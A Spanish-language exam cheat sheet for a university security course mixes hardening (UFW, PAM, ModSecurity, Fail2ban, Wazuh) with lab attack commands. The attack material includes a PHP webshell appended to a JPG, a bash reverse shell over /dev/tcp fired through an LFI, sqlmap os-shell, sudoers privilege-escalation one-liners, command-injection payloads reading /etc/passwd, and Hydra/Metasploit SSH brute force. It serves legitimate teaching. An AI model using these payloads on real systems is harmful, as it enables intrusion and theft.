

SSI Cheatsheet de Examen

Fuente: SSI_CHEATSHEET_EXAMEN.md

Indice PDF

Los enlaces llevan a las secciones del documento. El panel de marcadores del lector PDF tambien contiene la misma estructura.

[Indice](#)

[Palabras Clave para Ctrl+F](#)

[Checklist Inicial de Examen](#)

[Linux, Rutas y Logs](#)

[Nmap y Enumeracion](#)

[Firewall UFW y Politicas sysctl](#)

[PAM: Calidad de Password y Bloqueo de Login](#)

[Criptografia, GPG, OpenSSL y Hashes](#)

[Web: Directorios, Backups y Git Expuesto](#)

[SQL Injection y sqlmap](#)

[LFI, Subida de Ficheros y Reverse Shell](#)

[ModSecurity, OWASP CRS y Fail2ban](#)

[Lynis, OpenSCAP y Wazuh](#)

[SAST, Dependencias y DAST](#)

[SMB/Samba](#)

[Escalada de Privilegios y rbash](#)

[Ataques SSH/SFTP en Puerto No Estandar](#)

[Comandos Extra de Enunciados PDF](#)

[LAB01: OpenSSH, usuarios, antimalware y rootkits](#)

[LAB02: OSINT y privacidad](#)

[LAB03-04: cripto adicional](#)

[LAB05: CIS, SCC, Ubuntu Pro y permisos](#)

[LAB06: Wazuh XDR/SIEM](#)

[LAB08: nmap avanzado y NSE terceros](#)

[LAB09: reverse proxy, WAF y Fail2ban](#)

[LAB10-13: command injection, pivoting, commix y bzip2](#)

[Datos Concretos de Tus Practicas](#)

SSI Cheatsheet de Examen

Version corta del archivo unificado. Todos los comandos aparecen con uso y ejemplo concreto para copiar/adaptar rapido.

Indice

1. [Checklist Inicial de Examen](#)
2. [Linux, Rutas y Logs](#)
3. [Nmap y Enumeracion](#)
4. [Firewall UFW y Politicas sysctl](#)
5. [PAM: Calidad de Password y Bloqueo de Login](#)
6. [Criptografia, GPG, OpenSSL y Hashes](#)
7. [Web: Directorios, Backups y Git Expuesto](#)
8. [SQL Injection y sqlmap](#)
9. [LFI, Subida de Ficheros y Reverse Shell](#)
10. [ModSecurity, OWASP CRS y Fail2ban](#)
11. [Lynis, OpenSCAP y Wazuh](#)
12. [SAST, Dependencias y DAST](#)
13. [SMB/Samba](#)
14. [Escalada de Privilegios y rbash](#)
15. [Ataques SSH/SFTP en Puerto No Estandar](#)
16. [Comandos Extra de Enunciados PDF](#)
17. [Datos Concretos de Tus Practicas](#)

Palabras Clave para Ctrl+F

nmap, http-enum, ufw, sysctl, pam_pwquality, pam_faillock, openssl, gpg, hashcat, john, dirb, gobuster, feroxbuster, .git, sqlmap, LFI, reverse shell, ModSecurity, Fail2ban, Lynis, OpenSCAP, Wazuh, SMB, SUID, GTF0Bins, rbash, hydra, msfconsole, clamav, rkhunter, chkrootkit, exiftool, Shodan, Censys, Blacklight, HaveIBeenPwned, chisel, proxychains, commix, bzip2.

Checklist Inicial de Examen

Antes de tocar nada: identifica usuario, IP, rutas, objetivo y guarda evidencias.

```
# Ver usuario actual. Ejemplo: confirma si estas como root en Kali.
whoami

# Ver UID, GID y grupos. Ejemplo: detectar si perteneces a sudo.
id

# Ver IPs de la maquina. Ejemplo: localizar tu IP atacante 172.31.0.10.
ip a

# Ver puerta de enlace y red. Ejemplo: deducir que debes escanear 172.31.0.0/24.
ip route

# Ver nombre de maquina. Ejemplo: identificar si estas en kali, proxy o ubuntu-base.
hostname

# Ver directorio actual. Ejemplo: confirmar que estas en /examen antes de entregar.
pwd

# Listar ficheros con permisos. Ejemplo: comprobar si existe info.txt o secreto.asc.asc.
ls -la

# Ver permisos sudo del usuario. Ejemplo: detectar que user1 puede ejecutar /bin/cp.
sudo -l

# Guardar salida de cualquier comando. Ejemplo: guardar evidencia de nmap.
nmap -sV 172.31.0.22 | tee nmap_servicios.txt

# Guardar estado del firewall donde pida el enunciado.
sudo ufw status verbose | tee /examen/U0302313_firewall.txt
```

Linux, Rutas y Logs

Rutas importantes: `/etc/passwd`, `/etc/shadow`, `/etc/sudoers.d/`, `/var/log/auth.log`, `/var/www/html`, `/etc/apache2/`, `/etc/security/`.

```
# Buscar eventos de autenticacion de un usuario.
# Ejemplo: ver cambios/fallos de password de ssiuser.
sudo grep -i "ssiuser" /var/log/auth.log | grep -i "password\|passwd\|changed\|updated\|failed\|sudo"

# Ver estado de Apache. Ejemplo: comprobar si el servidor web esta activo.
sudo systemctl status apache2

# Reiniciar Apache tras cambiar ModSecurity/vhost.
sudo systemctl restart apache2

# Activar Apache al arranque y arrancarlo ahora.
sudo systemctl enable --now apache2

# Ver entrada completa de un usuario.
# Ejemplo: comprobar que tanda1 usa /bin/rbash.
getent passwd tanda1

# Buscar el usuario directamente en /etc/passwd.
grep '^tanda1:' /etc/passwd

# Cambiar shell de un usuario a rbash.
sudo chsh -s /bin/rbash tanda1
```

Nmap y Enumeracion

Usa `-sV` cuando pidan puerto, estado, servicio y version. Usa `http-enum` cuando pidan rutas web conocidas.

```
# Descubrir hosts en una subred.
# Ejemplo LAB08: encontrar maquinas de 192.168.8.0/24.
sudo nmap 192.168.8.0/24

# Descubrir hosts en red Docker/lab.
# Ejemplo: detectar 172.31.0.22.
sudo nmap 172.31.0.0/24

# Detectar servicios y versiones.
# Ejemplo: genera salida para captura de examen.
sudo nmap -sV 172.31.0.22 | tee nmap_servicios.txt

# Ejecutar scripts NSE por defecto.
# Ejemplo: obtener banners, claves SSH y titulos HTTP.
sudo nmap --script default 192.168.8.69

# Buscar rutas conocidas en servicios HTTP.
# Ejemplo: detectar aplicaciones web en Ubuntu base.
sudo nmap -sV --script http-enum -p 80,8080,443 172.31.0.22 | tee nmap_http_enum.txt

# Enumerar SMB/Samba en puertos 139/445.
# Ejemplo: buscar shares anonimos.
nmap --script smb-enum-shares,smb-os-discovery -p 139,445 172.31.0.22

# Consultar version de DNS/BIND.
# Ejemplo: ver version del DNS 192.168.8.2.
nmap -sV -p 53 192.168.8.2
```

Firewall UFW y Politicas sysctl

Tipico de examen: abrir/cerrar puertos y desactivar politicas de red. Cambia 2313 por los 4 ultimos digitos de tu UO si lo piden.

```
# Activar UFW. Usalo antes de crear/ver reglas si esta inactivo.
sudo ufw enable

# Abrir SSH.
sudo ufw allow 22/tcp

# Abrir puerto 934/tcp pedido por examen.
sudo ufw allow 934/tcp

# Abrir puerto 386/tcp pedido por examen.
sudo ufw allow 386/tcp

# Cerrar/denegar puerto concreto.
# Ejemplo: si los 4 ultimos digitos UO son 2313.
sudo ufw deny 2313/tcp

# Ver reglas numeradas para borrar por numero.
sudo ufw status numbered
```

```
# Volcar estado del firewall a fichero de entrega.
sudo ufw status verbose | tee /examen/U0302313_firewall.txt

# Borrar una regla por numero.
# Ejemplo: borrar la regla 4 que viste con status numbered.
sudo ufw delete 4

# Editar configuracion persistente de kernel/red.
sudo nano /etc/sysctl.d/99-ssi-examen.conf
```

Contenido de ejemplo para /etc/sysctl.d/99-ssi-examen.conf:

```
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_ra = 0
net.ipv6.conf.default.accept_ra = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0
```

```
# Aplicar todos los ficheros sysctl.
sudo sysctl --system

# Verificar redirects IPv6 desactivados.
sysctl net.ipv6.conf.all.accept_redirects net.ipv6.conf.default.accept_redirects

# Verificar router advertisements IPv6 desactivados.
sysctl net.ipv6.conf.all.accept_ra net.ipv6.conf.default.accept_ra

# Verificar source-routed packets IPv4 desactivados.
sysctl net.ipv4.conf.all.accept_source_route net.ipv4.conf.default.accept_source_route

# Verificar source-routed packets IPv6 desactivados.
sysctl net.ipv6.conf.all.accept_source_route net.ipv6.conf.default.accept_source_route
```

PAM: Calidad de Password y Bloqueo de Login

Para password policy usa pam_pwquality; para bloqueo tras fallos usa pam_faillock.

```
# Actualizar repositorios antes de instalar paquetes.
sudo apt update

# Instalar modulo de calidad de contraseñas.
sudo apt install libpam-pwquality

# Editar politica de contraseñas.
sudo nano /etc/security/pwquality.conf
```

Ejemplo de /etc/security/pwquality.conf:

```
# Minimo 22 caracteres.
minlen = 22

# Exigir X digitos. Ejemplo: si ultimo digito U0=3, X=4.
dcredit = -4

# Verificar que PAM usa pam_pwquality al cambiar password.
grep -R "pam_pwquality" /etc/pam.d/common-password

# Editar bloqueo por intentos fallidos.
sudo nano /etc/security/faillock.conf
```

Ejemplo de /etc/security/faillock.conf:

```
# Bloquear tras 5 fallos.
deny = 5

# Bloquear durante 20 minutos = 1200 segundos.
unlock_time = 1200

# Ventana de conteo de fallos, ejemplo 15 minutos.
fail_interval = 900

# Habilitar perfil faillock si existe en pam-auth-update.
sudo pam-auth-update --enable faillock

# Comprobar que common-auth carga faillock.
grep faillock /etc/pam.d/common-auth

# Ver fallos registrados para usuario.
faillock --user ssiuser
```

```
# Resetear contador de fallos para usuario.
faillock --user ssiuser --reset
```

Criptografia, GPG, OpenSSL y Hashes

Recuerda: si un fichero fue cifrado primero simetrico y luego asimetrico, se descifra al revés.

```
# Crackear ZIP por fuerza bruta: letras minusculas, mayusculas y numeros, longitud 1-6.
fcrackzip -b -c 'aA1' -l 1-6 -u U0302313.zip

# Descomprimir ZIP tras encontrar password.
unzip U0302313.zip

# Crear diccionario desde web con CeWL.
cewl http://156.35.163.140:777 -m 1 -d 4 --with-numbers -w diccionario.txt

# Crackear password steghide con stegseek.
stegseek imagen_correcta.jpg diccionario.txt

# Extraer contenido oculto con password conocida.
steghide extract -sf imagen_correcta.jpg -p "Contact"

# Descifrar con OpenSSL AES-192-CBC usando clave e IV hexadecimales.
openssl enc -d -aes-192-cbc -in U0302313_mensaje.enc -out mensaje.txt -K 49d32a54f7d47a048c45a826ddf8843d -iv
f7ab03abeca859e33bcf57713d855ea

# Decodificar Base64.
base64 -d mensaje.txt > mensaje_final.txt
```

GPG:

```
# Listar claves privadas disponibles para saber TU_KEYID.
gpg --list-secret-keys

# Importar clave publica del profesor.
gpg --import clave_publica_profesor.asc

# Descifrar primera capa asimetrica.
gpg --output secreto.asc --decrypt secreto_uo302313.asc.asc

# Descifrar segunda capa simetrica.
gpg --output secreto.txt --decrypt secreto.asc

# Firmar en claro y armored con tu clave.
gpg --armor --clearsign --local-user U0302313 --output secreto_firmado.asc secreto.txt

# Verificar firma generada.
gpg --verify secreto_firmado.asc

# Cifrar para profesor y firmar a la vez.
gpg --armor --encrypt --sign -r KEYID_PROFESOR --local-user U0302313 -o salida.asc fichero.txt
```

Hashes, SSH y certificados:

```
# Identificar tipo de hash.
hashid hash.txt

# Crackear SHA-256 con hashcat y rockyou.
hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# Crackear SHA-256 con John.
john hash.txt --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt

# Proteger clave privada SSH.
chmod 600 clave_privada_U0302313_id_rsa

# Conectar por SSH con clave y puerto no estandar.
ssh -i clave_privada_U0302313_id_rsa -p 2222 U0302313@156.35.163.140

# Generar clave RSA y CSR.
openssl req -newkey rsa:2048 -keyout mi_clave_privada.key -out mi_csr.csr -nodes

# Cifrar token con clave publica de profesores.
openssl pkeyutl -encrypt -pubin -inkey public_key_profesores.pem -in token -out token_cifrado.enc

# Firmar fichero cifrado con clave privada propia.
openssl dgst -sha256 -sign mi_clave_privada.key -out token_cifrado.sig token_cifrado.enc
```

Web: Directorios, Backups y Git Expuesto

Enumera rutas y extensiones sensibles: .bak, .old, .zip, .git, .txt.

```
# Enumerar rutas con DIRB.
dirb http://172.31.0.22 /usr/share/dirb/wordlists/common.txt

# Enumerar rutas con Gobuster y extensiones comunes.
gobuster dir -u http://172.31.0.22/ -w /usr/share/wordlists/dirb/common.txt -x txt,html,old,bak,zip,git

# Enumerar recursivamente con Feroxbuster, ocultando 403.
feroxbuster -u http://172.31.0.22/ -w /usr/share/wordlists/dirb/common.txt -x txt,html,old,bak,zip,git -d 2 -t 20 -C 403 -o ferox_results.txt

# Descargar .git expuesto.
wget -q -r -np -nH --cut-dirs=1 -R "index.html*" http://172.31.0.22/.git/ -P .git/

# Crear carpeta para reconstruir repo.
mkdir -p recovered_repo

# Recuperar ficheros versionados desde .git descargado.
git --git-dir=.git --work-tree=recovered_repo checkout -f

# Ver estado del repo recuperado.
git --git-dir=.git --work-tree=. status

# Restaurar ficheros versionados en el work-tree actual.
git --git-dir=.git --work-tree=. restore .

# Leer backup con credenciales.
curl http://172.31.0.22/backups/config.bak

# Leer robots.txt para rutas disallowed.
curl http://172.31.0.22/robots.txt

# Ver cabeceras HTTP.
curl -I http://172.31.0.22/
```

SQL Injection y sqlmap

Primero identifica parametros en navegador/devtools; despues usa sqlmap con POST, GET o cookies.

```
# Enumerar tablas en login POST.
sqlmap -u "http://172.31.0.40" --data="username=test&password=test" --batch --tables

# Volcar tabla products.
sqlmap -u "http://172.31.0.40" --data="username=test&password=test" --batch -T products --dump

# Volcar toda la base de datos accesible.
sqlmap -u "http://172.31.0.40" --data="username=test&password=test" --batch --dump

# Probar tecnica boolean-based blind en parametro id.
sqlmap -u "http://172.31.0.40/product.php?id=1" --batch --technique=B --dbms=SQLite

# Probar tecnica UNION-based.
sqlmap -u "http://172.31.0.40/product.php?id=1" --batch --technique=U --dbms=SQLite

# Probar tecnica time-based blind con mas nivel/riesgo.
sqlmap -u "http://172.31.0.40/product.php?id=1" --batch --technique=T --dbms=SQLite --risk=3 --level=5

# Probar inyeccion en cookie user.
sqlmap -u "http://172.31.0.40/cookie_lab.php" --cookie="user=alice" --batch --level=2

# Intentar os-shell/webshell en MySQL escribiendo en /var/www/html.
sqlmap -u "http://172.31.0.50/rce_sqli.php?id=1" -p id --dbms=mysql --os-shell --web-root="/var/www/html" --batch

# Limpiar cache de sqlmap para repetir pruebas desde cero.
rm -rf /root/.local/share/sqlmap/output/172.31.0.40/*
```

LFI, Subida de Ficheros y Reverse Shell

Si la app valida solo extension, sube .php, .jpg y ejecutalo mediante inclusion vulnerable. Prueba primero id.

```
# Crear polyglot partiendo de una imagen valida.
cp eii.jpg polyglot.jpg

# Anadir PHP al final de la imagen.
printf "\n<?php system($_GET['cmd']); ?>\n" >> polyglot.jpg

# Renombrar con doble extension.
mv polyglot.jpg shell_polyglot.php.jpg

# Verificar tipo detectado.
file shell_polyglot.php.jpg
```

Payload PHP limpio para subir como .jpg:

```
<?php
echo "BEGIN\n";
system($_GET['cmd'] ?? 'id');
echo "\nEND\n";
?>
```

```
# Guardar el payload anterior en fichero.
nano lfi_payload.php.jpg
```

```
# Ejecutar id mediante LFI y filtrar salida util.
curl -s "http://172.31.0.90/view.php?page=uploads/shell_polyglot.php.jpg&cmd=id" | strings | grep -iE
"uid=|gid="
```

```
# Escuchar reverse shell en atacante.
nc -lvnp 4444
```

URL de ejemplo para lanzar reverse shell desde la LFI:

```
http://172.31.0.90/view.php?page=uploads/lfi_payload.php.jpg&cmd=bash -c 'bash -i >& /dev/tcp/172.31.0.10/4444
0>&1'
```

ModSecurity, OWASP CRS y Fail2ban

Para examen: activar motor, crear regla, probar con `curl`, mirar logs.

```
# Instalar Apache y ModSecurity.
sudo apt install apache2 libapache2-mod-security2

# Activar modulos de proxy y security2.
sudo a2enmod proxy proxy_http security2

# Activar configuracion recomendada de ModSecurity.
sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

# Editar configuracion principal.
sudo nano /etc/modsecurity/modsecurity.conf
```

Dentro de `/etc/modsecurity/modsecurity.conf`:

```
SecRuleEngine On
```

Regla de ejemplo para `moria=balrog`, estado 401, mensaje `you shall not pass!`:

```
<IfModule security2_module>
    SecRuleEngine On
    SecRule ARGS:moria "@streq balrog" "id:100100,phase:2,deny,status:401,log,msg:'you shall not pass!'"
</IfModule>
```

```
# Verificar sintaxis Apache.
sudo apachectl configtest

# Reiniciar Apache tras cambiar reglas.
sudo systemctl restart apache2

# Activar alarma intencionadamente.
curl -i "http://192.168.92.1/?moria=balrog"

# Ver logs Apache.
sudo tail -n 50 /var/log/apache2/error.log

# Ver audit log de ModSecurity si existe.
sudo tail -n 50 /var/log/modsec_audit.log

# Copiar configuracion base OWASP CRS si lo piden.
sudo cp crs-setup.conf.example /etc/modsecurity/crs-setup.conf

# Copiar reglas OWASP CRS.
sudo cp -r rules/ /etc/modsecurity/

# Instalar Fail2ban.
sudo apt install fail2ban

# Ver jails activas.
fail2ban-client status

# Ver estado de jail SSH.
fail2ban-client status sshd

# Desbanear IP concreta.
fail2ban-client set sshd unbanip 192.168.92.50
```

Lynis, OpenSCAP y Wazuh

Auditoria: ejecuta, guarda informe y verifica resultado.

```
# Instalar Lynis.
sudo apt install lynis

# Auditoria Lynis y guardar salida.
sudo lynis audit system | tee lynis.txt

# Ver perfiles OpenSCAP disponibles.
oscap info scap-security-guide-0.1.79/ssg-ubuntu2404-ds.xml

# Evaluar CIS Level 1 Server y generar XML+HTML.
oscap xccdf eval \
  --profile xccdf_org.ssgproject.content_profile_cis_level1_server \
  --results results.xml \
  --report report.html \
  scap-security-guide-0.1.79/ssg-ubuntu2404-ds.xml

# Generar script bash de remediacion.
oscap xccdf generate fix \
  --profile xccdf_org.ssgproject.content_profile_cis_level1_server \
  --fix-type bash \
  scap-security-guide-0.1.79/ssg-ubuntu2404-ds.xml > remediacion.sh

# Activar agente Wazuh.
sudo systemctl enable --now wazuh-agent

# Ver alertas Wazuh en tiempo real.
tail -f /var/ossec/logs/alerts/alerts.log

# Probar reglas de Wazuh con logtest.
/var/ossec/bin/wazuh-logtest
```

FIM en `/var/ossec/etc/ossec.conf`:

```
<syscheck>
  <directories realtime="yes" check_all="yes">/var/www/html,/etc/apache2</directories>
</syscheck>
```

SAST, Dependencias y DAST

Para AppSec: manual + SAST + dependencias + DAST.

```
# Anadir SonarAnalyzer a proyecto C#.
dotnet add package SonarAnalyzer.CSharp

# Listar paquetes vulnerables.
dotnet list package --vulnerable

# Descargar OWASP ZAP estable.
docker pull zaproxy/zap-stable

# Ejecutar baseline DAST contra Apache local y generar informe HTML.
docker run --network host -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-baseline.py -t http://localhost:1080
-r informeZAP.html
```

SMB/Samba

Si ves 139/445, intenta enumerar shares anonimos y descargar pistas.

```
# Enumerar shares y sistema por Nmap.
nmap --script smb-enum-shares,smb-os-discovery -p 139,445 172.31.0.22

# Listar recursos compartidos sin contraseña.
smbclient -L //172.31.0.22/ -N

# Entrar al recurso public sin contraseña.
smbclient //172.31.0.22/public -N
```

Dentro de `smbclient`:

```
# Listar ficheros remotos.
ls

# Ver directorio remoto actual.
pwd

# Descargar fichero.
get readme.txt
```



```
# Activar recursion.
recurse

# Desactivar preguntas en descargas multiples.
prompt

# Descargar todo.
mget *
```

Escalada de Privilegios y rbash

Orden: `sudo -l`, SUID, GTFOBins, escritura en sudoers o escape de shell restringida.

```
# Ver usuario actual.
whoami

# Ver grupos/permisos.
id

# Ver comandos sudo permitidos.
sudo -l

# Buscar binarios SUID.
find / -perm -4000 -type f 2>/dev/null

# user1: crear regla sudoers temporal.
echo "user1 ALL=(ALL) NOPASSWD: ALL" > /tmp/user1

# user1: copiar regla a sudoers.d usando sudo cp permitido.
sudo /bin/cp /tmp/user1 /etc/sudoers.d/user1

# Abrir shell root.
sudo -i

# user2: escribir sudoers con python3 ejecutado como root.
sudo python3 -c 'open("/etc/sudoers.d/user2","w+").write("user2 ALL=(ALL) NOPASSWD: ALL\n")'

# user3: escribir sudoers con tee ejecutado como root.
echo "user3 ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/user3

# user4: preparar sudoers manteniendo contenido valido previo.
cat /etc/sudoers.d/user1 > /tmp/sudoers_user4

# user4: anadir regla.
echo "user4 ALL=(ALL) NOPASSWD: ALL" >> /tmp/sudoers_user4

# user4: sobrescribir fichero sudoers valido con dd SUID.
/usr/bin/dd if=/tmp/sudoers_user4 of=/etc/sudoers.d/user1

# Crear usuario con shell restringida rbash.
sudo useradd -m -s /bin/rbash tanda1

# Asignar password al usuario tanda1.
sudo passwd tanda1

# Verificar shell restringida.
getent passwd tanda1

# Entrar como tanda1.
su - tanda1
```

Escape de rbash con gcc:

```
#include <stdlib.h>
int main(){ system("/bin/sh"); return 0; }
```

```
# Guardar codigo C anterior.
nano shell.c

# Compilar binario.
gcc shell.c -o shell

# Ejecutar y obtener /bin/sh.
./shell
```

Ataques SSH/SFTP en Puerto No Estandar

SFTP usa autentificacion SSH. En laboratorio autorizado, si el puerto es 7777, fuerza `-s 7777` en Hydra o `RPORT 7777` en Metasploit.

```
# Crear lista de usuarios sospechosos.
printf "Anacleto\nBonifacio\n" > users.txt
```

```
# Hydra contra SSH/SFTP en puerto 7777.
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -s 7777 -t 4 -V 156.35.100.100 ssh

# Abrir Metasploit.
msfconsole

# Usar modulo de login SSH.
use auxiliary/scanner/ssh/ssh_login

# Configurar IP objetivo.
set RHOSTS 156.35.100.100

# Configurar puerto no estandar.
set RPORT 7777

# Configurar fichero de usuarios.
set USER_FILE users.txt

# Configurar diccionario de passwords.
set PASS_FILE /usr/share/wordlists/rockyou.txt

# Parar cuando encuentre credenciales validas.
set STOP_ON_SUCCESS true

# Mostrar opciones para captura de examen.
show options

# Ejecutar ataque.
run
```

Comandos Extra de Enunciados PDF

Comandos y plantillas que faltaban en los apuntes originales, agrupados por laboratorio.

LAB01: OpenSSH, usuarios, antimalware y rootkits

```
# Actualizar indices y paquetes.
sudo apt update
sudo apt upgrade
sudo apt full-upgrade
sudo apt autoremove

# Diagnosticar repositorios si apt falla.
cat /etc/apt/sources.list
ls /etc/apt/sources.list.d/
sudo apt update 2>&1 | tee apt_update_error.txt

# Instalar y activar servidor OpenSSH.
sudo apt install openssh-server
sudo systemctl enable --now ssh
sudo systemctl status ssh

# Conectar desde host o via puerto reenviado NAT.
ssh usuario@IP_DE_LA_VM
ssh usuario@localhost -p PUERTO_REENVIADO

# Crear usuario normal y comprobar que no es sudoer.
sudo adduser alumno
id alumno
groups alumno
su - alumno
sudo -l
sudo cat /etc/shadow

# Cambiar password y moverse entre usuarios.
passwd
sudo passwd usuario
su - usuario
exit

# Buscar eventos de usuario/password en auth.log.
sudo grep -i "usuario" /var/log/auth.log
sudo grep -Ei "passwd|password|authentication|session|sudo|failed" /var/log/auth.log

# Guardar evidencias Lynis para informe.
sudo lynis audit system | tee lynis.txt
sudo cp /var/log/lynis-report.dat .
sudo cp /var/log/lynis.log .

# Instalar antivirus y rootkit scanners.
sudo apt install clamav clamav-daemon rkhunter chkrootkit

# Actualizar firmas ClamAV.
sudo systemctl stop clamav-freshclam
sudo freshclam
sudo systemctl start clamav-freshclam
```

```
# Escanear ficheros/directorios.
clamscan fichero
clamscan -r --bell -i /home/usuario

# Rootkits.
sudo rkhunter --update
sudo rkhunter --check --sk
sudo chkrootkit
```

LAB02: OSINT y privacidad

```
# Leer robots.txt.
curl http://objetivo/robots.txt

# Cabeceras HTTP: utiles para debug tokens, versiones y tecnologia.
curl -I http://objetivo/

# Metadatos.
exiftool archivo.jpg
exiftool documento.pdf
strings archivo | less

# FTP del CTF LAB02.
ftp localhost 2121
# user: ftpuser
# pass: ftppass

# Verificar hash final del CTF OSINT.
./check U0123456 hash_completo
```

Dorks utiles para Google/GHDB:

```
site:example.com filetype:pdf
site:example.com ext:sql OR ext:bak OR ext:old
site:example.com intitle:"index of"
site:example.com inurl:admin
site:example.com "password"
```

Busquedas Shodan/Censys:

```
ip:1.2.3.4
hostname:example.com
org:"Nombre Organizacion"
product:Apache
port:22
ssl.cert.subject.cn:example.com
```

URLs de herramientas:

```
Blacklight: https://themarkup.org/blacklight
Have I Been Pwned: https://haveibeenpwned.com/
Wayback Machine: https://web.archive.org/
VirusTotal: https://www.virustotal.com/
```

LAB03-04: cripto adicional

```
# Generar wordlist con crunch: longitudes 1-6 y charset alfanumerico.
crunch 1 6 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 -o wordlist.txt

# Alternativa de cracking steghide.
stegcracker imagen.jpg wordlist.txt

# Ver hexadecimal de un fichero.
xxd archivo.bin | head

# Hex a binario.
xxd -r -p hex.txt salida.bin

# ROT13 rapido.
python3 -c "import codecs; print(codecs.decode('uryyb','rot_13'))"

# Identificar hashes.
hashid hash.txt
```

Longitudes orientativas:

MD5=32 hex, SHA1=40, SHA224=56, SHA256=64, SHA384=96, SHA512=128

Entrega del lab:

<https://156.35.163.140:444/XXXXXXX>

LAB05: CIS, SCC, Ubuntu Pro y permisos

```
# Revisar permisos de ficheros de cuentas.
stat -c "%a %U %G %n" /etc/passwd /etc/passwd- /etc/group /etc/group- /etc/shadow /etc/shadow- /etc/gshadow
/etc/gshadow-
ls -l /etc/passwd /etc/shadow /etc/group /etc/gshadow

# Remediacion orientativa: confirmar contra el benchmark antes.
sudo chown root:root /etc/passwd /etc/passwd- /etc/group /etc/group-
sudo chmod u-x,go-wx /etc/passwd /etc/passwd- /etc/group /etc/group-
sudo chown root:shadow /etc/shadow /etc/shadow- /etc/gshadow /etc/gshadow-
sudo chmod 640 /etc/shadow /etc/shadow- /etc/gshadow /etc/gshadow-

# Buscar modulos PAM relevantes.
grep -R "pam_pwquality\|pam_faillock\|pam_unix" /etc/pam.d/
sudo pam-auth-update
sudo pam-auth-update --enable faillock

# Ubuntu Pro / USG: usar en clon o snapshot.
pro status
sudo pro attach TOKEN
sudo pro enable usg
sudo usg audit cis_level1_server
sudo usg fix cis_level1_server
sudo usg audit disa_stig
sudo usg fix disa_stig
```

SCC DISA/STIG, si el CLI esta instalado:

```
sudo ./cscs --benchmark U_CAN_Ubuntu_24-04_STIG_SCAP_*.xml --profile stig --results ./scc_results
```

LAB06: Wazuh XDR/SIEM

```
# Provocar logins/eventos.
ssh usuario@localhost
sudo -k
sudo ls

# Ver logs locales y alertas Wazuh.
sudo tail -f /var/log/auth.log
sudo tail -f /var/ossec/logs/alerts/alerts.log

# Actividad HTTP normal y sospechosa.
curl http://localhost/
curl -X DELETE http://localhost/
curl "http://localhost/?q=<script>alert(1)</script>"
curl "http://localhost/?id=1' OR '1'='1"

# Logs Apache.
sudo tail -f /var/log/apache2/access.log
sudo tail -f /var/log/apache2/error.log

# Probar reglas con logtest.
/var/ossec/bin/wazuh-logtest

# Forzar reflejo tras cambio de configuracion o permisos.
sudo systemctl restart wazuh-agent
```

Prueba SCA controlada, restaurando despues:

```
sudo chmod 777 /etc/passwd
sudo systemctl restart wazuh-agent
sudo chmod 644 /etc/passwd
sudo systemctl restart wazuh-agent
```

LAB08: nmap avanzado y NSE terceros

```
# Escanear todos los puertos.
sudo nmap -p- objetivo
sudo nmap -p 1-65535 objetivo

# Escanear puertos concretos/top.
sudo nmap -p 22,80,443,8080 objetivo
sudo nmap --top-ports 1000 objetivo

# Version y scripts por defecto sobre puertos encontrados.
sudo nmap -sV -sC -p PUERTOS objetivo

# Tipos de escaneo.
sudo nmap -sS objetivo
nmap -sT objetivo
sudo nmap -sU objetivo
sudo nmap -O objetivo

# Velocidad/sigilo.
```

```

nmap -T0 objetivo
nmap -T4 objetivo
nmap --scan-delay 1s objetivo
nmap --max-rate 50 objetivo

# Scripts NSE.
ls /usr/share/nmap/scripts
nmap --script-help smb-enum-shares
nmap --script ./mi_script.nse -p 80 objetivo
sudo cp mi_script.nse /usr/share/nmap/scripts/
sudo nmap --script-updatedb
nmap --script mi_script -p 80 objetivo

```

LAB09: reverse proxy, WAF y Fail2ban

VirtualHost ejemplo:

```

<VirtualHost *:80>
    ProxyPreserveHost On
    ProxyPass      /eii/ http://192.168.9.3/
    ProxyPassReverse /eii/ http://192.168.9.3/
    ProxyPass      /epi/ http://192.168.9.4/
    ProxyPassReverse /epi/ http://192.168.9.4/
</VirtualHost>

```

```

# Activar proxy y probar.
sudo a2enmod proxy proxy_http
sudo apachectl configtest
sudo systemctl restart apache2
curl http://192.168.92.3/eii/
curl http://192.168.92.3/epi/

# Ver si WAF afecta a enumeracion nmap/http.
nmap -sV --script http-enum -p 80 192.168.92.3
nmap --script http-title,http-server-header -p 80 192.168.92.3

# Logs ModSecurity.
sudo tail -f /var/log/apache2/error.log
sudo tail -f /var/log/modsec_audit.log

```

Fail2ban SSH agresivo (/etc/fail2ban/jail.d/sshd-aggressive.local):

```

[sshd]
enabled = true
mode = aggressive
port = ssh
logpath = %(sshd_log)s
maxretry = 3
findtime = 60
bantime = 30m

```

```

sudo systemctl restart fail2ban
sudo fail2ban-client status sshd
sudo fail2ban-client set sshd unbanip IP_ATACANTE

```

Fail2ban + ModSecurity:

```

# /etc/fail2ban/filter.d/modsecurity.local
[Definition]
failregex = ^.*\[client <HOST>:\d+\].*ModSecurity: Access denied.*$
ignoreregex =

```

```

# /etc/fail2ban/jail.d/modsecurity.local
[modsecurity]
enabled = true
filter = modsecurity
logpath = /var/log/apache2/error.log
maxretry = 5
findtime = 60
bantime = 30m
port = http,https

```

```

sudo fail2ban-regex /var/log/apache2/error.log /etc/fail2ban/filter.d/modsecurity.local
sudo systemctl restart fail2ban
sudo fail2ban-client status modsecurity

```

LAB10-13: command injection, pivoting, commix y bzip2

```

# Preparar infraestructura.
chmod -R u+rwX ~/ataque
cd ~/ataque
dos2unix ./dos2unix_ychmod.sh
chmod 770 dos2unix_ychmod.sh

```

```
./dos2unix_ychmod.sh
./start_all.sh
./stop_all.sh
./enter_xxxx.sh
```

Payloads command injection:

```
127.0.0.1; id
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
$(id)
`id`
```

```
# Probar command injection.
curl "http://objetivo/ping?host=127.0.0.1;id"
curl --data "host=127.0.0.1;id" http://objetivo/ping

# Reverse shell desde command injection.
nc -lvnp 4444
